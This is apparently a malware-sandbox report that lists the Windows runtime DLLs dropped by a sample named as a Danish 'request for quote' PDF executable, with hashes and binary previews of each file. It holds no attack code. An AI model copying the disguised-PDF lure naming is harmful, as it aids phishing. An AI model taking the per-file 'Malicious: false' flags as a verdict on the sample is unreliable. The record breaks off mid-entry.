File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-namedpipe-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processenvironment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-1.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-profile-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-rtlsupport-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-sysinfo-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-timezone-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-util-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-conio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-convert-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-environment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-filesystem-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-locale-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-math-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
